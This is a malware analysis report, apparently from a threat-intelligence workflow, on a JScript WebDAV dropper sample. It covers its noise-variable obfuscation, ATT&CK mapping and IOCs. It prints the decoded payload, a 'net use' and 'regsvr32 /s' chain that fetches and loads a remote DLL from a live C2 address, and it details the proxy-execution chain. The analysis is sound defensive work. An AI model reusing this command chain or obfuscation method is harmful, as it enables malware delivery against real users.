SHA-256:
82d78891aa1902262443dc4559d453af73f4567c03db9aa15e82bcfc2a312c4682d78891aa1902262443dc4559d453af73f4567c03db9aa15e82bcfc2a312c46
Ninety-third confirmed sibling of the unclassified-js-webdav-dropper family. JScript noise-variable concatenation obfuscation (65 entries), WebDAV C2 94.159.113.204:8888, payload 164701625721624.dll, regsvr32 /s execution via PowerShell -EncodedCommand wrapper, timeout 1 anti-emulation gate. Static-only (JScript, not a binary).
Build / RE
- Language: JScript (Windows Script Host), ~85 KB single-line file. ^[file.txt]
- Obfuscation: Noise-variable concatenation, dialect #9 per family taxonomy. 65 variables with random lowercase noise names (15–20 chars, no semantic content) assigned single-character string values in a trailing section after the main function body. Values are concatenated via
+inside nestedFunction('return this')()constructors to build and execute the payload. No dictionary object, no batch/polyglot layer, no reassignment (last-wins semantics). ^[strings.txt:1] ^[floss.txt] - Layering: Two-stage eval. Outer script (85,915 chars) feeds a concatenated string into
Function('return this')()[eval_expr](...). Layer 1 payload (85,915 chars) is another self-executing function that builds a second concatenated string. Layer 2 payload (6,389 chars) resolves toWScript.CreateObject("WScript.Shell").Run("powershell -EncodedCommand ..."). ^[deobfuscation] - Anti-analysis:
timeout 1anti-emulation delay before payload execution. No debugger checks, no VM detection, no sandbox gate. ^[deobfuscation] - Code quality: Hand-written, verbose, repetitive. No commercial obfuscator signatures. Variable names are random lowercase noise strings (e.g.
pwilsbbdqjvhtr,pygkfawiusbx,byrstaarirv).
Deploy / ATT&CK
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | JScript dropper opened by user ^[file.txt] |
| Execution | T1059.001 (PowerShell) | powershell -EncodedCommand wrapper around regsvr32 ^[deobfuscation] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\94.159.113.204@8888\DavWWWRoot\164701625721624.dll ^[deobfuscation] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | wscript.exe → powershell.exe → regsvr32.exe proxy chain ^[deobfuscation] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | Noise-variable concatenation obfuscation (65 entries) ^[strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\94.159.113.204@8888\DavWWWRoot\) ^[deobfuscation] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; regsvr32 fetches and loads remote DLL ^[deobfuscation] |
Decoded payload (Base64 → UTF-16-LE → plaintext):
timeout 1;upjoezilhvgi;net use \\94.159.113.204@8888\davwwwroot\;nnbcphmukiyg;regsvr32 /s \\94.159.113.204@8888\davwwwroot\164701625721624.dll;psqcjcjbuuq
^[deobfuscation]
- C2 Infrastructure:
94.159.113.204:8888— same IP as 65th siblingfa8c6d74, 80th siblingddf0c8bd, 85th siblingedfb0e0a, and 90th sibling771c8752. Sixth sibling on this endpoint; confirms sustained activity. - Payload filename:
164701625721624.dll— numeric-only filename, consistent with family convention. - No persistence: One-shot execution, no registry writes, no scheduled tasks, no startup folder placement. ^[dynamic-analysis.md]
IOCs
- C2:
94.159.113.204:8888 - Payload URL:
\\94.159.113.204@8888\DavWWWRoot\164701625721624.dll - Payload filename:
164701625721624.dll - MITRE: T1059.005, T1059.001, T1218.010, T1218, T1027, T1071.001, T1105